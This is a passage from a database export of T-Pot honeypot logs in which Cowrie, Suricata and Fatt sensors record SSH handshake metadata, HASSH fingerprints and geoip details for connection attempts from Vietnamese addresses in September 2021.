"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53400, "dest_port": 22, "timestamp": "2021-09-20T11:08:43.315128", "@timestamp": "2021-09-20T11:08:43.315Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24321	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:45.769674+03	2021-09-20 14:15:08.632471+03	{"_id": "XwbkAnwBvYTbRNuE4BMp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "8da4a9cc248f", "@version": "1", "duration": 3.0316050052642822, "timestamp": "2021-09-20T11:08:45.769674Z", "@timestamp": "2021-09-20T11:08:45.769Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24322	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:08:46.702378+03	2021-09-20 14:15:08.633489+03	{"_id": "cQbkAnwBvYTbRNuE4hOD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 228880614836476, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42278, "dest_port": 22, "timestamp": "2021-09-20T11:08:46.702378Z", "@timestamp": "2021-09-20T11:08:46.702Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24323	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:08:46.726527+03	2021-09-20 14:15:08.6355+03	{"_id": "cgbkAnwBvYTbRNuE4hOD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1837526255835077, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59434, "dest_port": 22, "timestamp": "2021-09-20T11:08:46.726527Z", "@timestamp": "2021-09-20T11:08:46.726Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24324	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:08:46.735659+03	2021-09-20 14:15:08.637499+03	{"_id": "cwbkAnwBvYTbRNuE4hOD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 286149708789618, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59508, "dest_port": 22, "timestamp": "2021-09-20T11:08:46.735659Z", "@timestamp": "2021-09-20T11:08:46.735Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24336	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:46.450507+03	2021-09-20 14:15:08.6525+03	{"_id": "kAbkAnwBvYTbRNuE5BMc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b36e621e2b21", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:46.450507Z", "@timestamp": "2021-09-20T11:08:46.450Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24325	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:46.452615+03	2021-09-20 14:15:08.6385+03	{"_id": "dQbkAnwBvYTbRNuE4xNz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59434, "timestamp": "2021-09-20T11:08:46.452615", "@timestamp": "2021-09-20T11:08:46.452Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24326	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:08:46.702493+03	2021-09-20 14:15:08.639504+03	{"_id": "dgbkAnwBvYTbRNuE4xNz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42278, "dest_port": 22, "timestamp": "2021-09-20T11:08:46.702493", "@timestamp": "2021-09-20T11:08:46.702Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24327	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:46.429762+03	2021-09-20 14:15:08.641502+03	{"_id": "eQbkAnwBvYTbRNuE4xNz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42278, "timestamp": "2021-09-20T11:08:46.429762", "@timestamp": "2021-09-20T11:08:46.429Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24328	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:46.624156+03	2021-09-20 14:15:08.6425+03	{"_id": "egbkAnwBvYTbRNuE4xNz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49906, "timestamp": "2021-09-20T11:08:46.624156", "@timestamp": "2021-09-20T11:08:46.624Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24329	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:08:46.877135+03	2021-09-20 14:15:08.6435+03	{"_id": "ewbkAnwBvYTbRNuE4xNz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 32860, "dest_port": 22, "timestamp": "2021-09-20T11:08:46.877135", "@timestamp": "2021-09-20T11:08:46.877Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
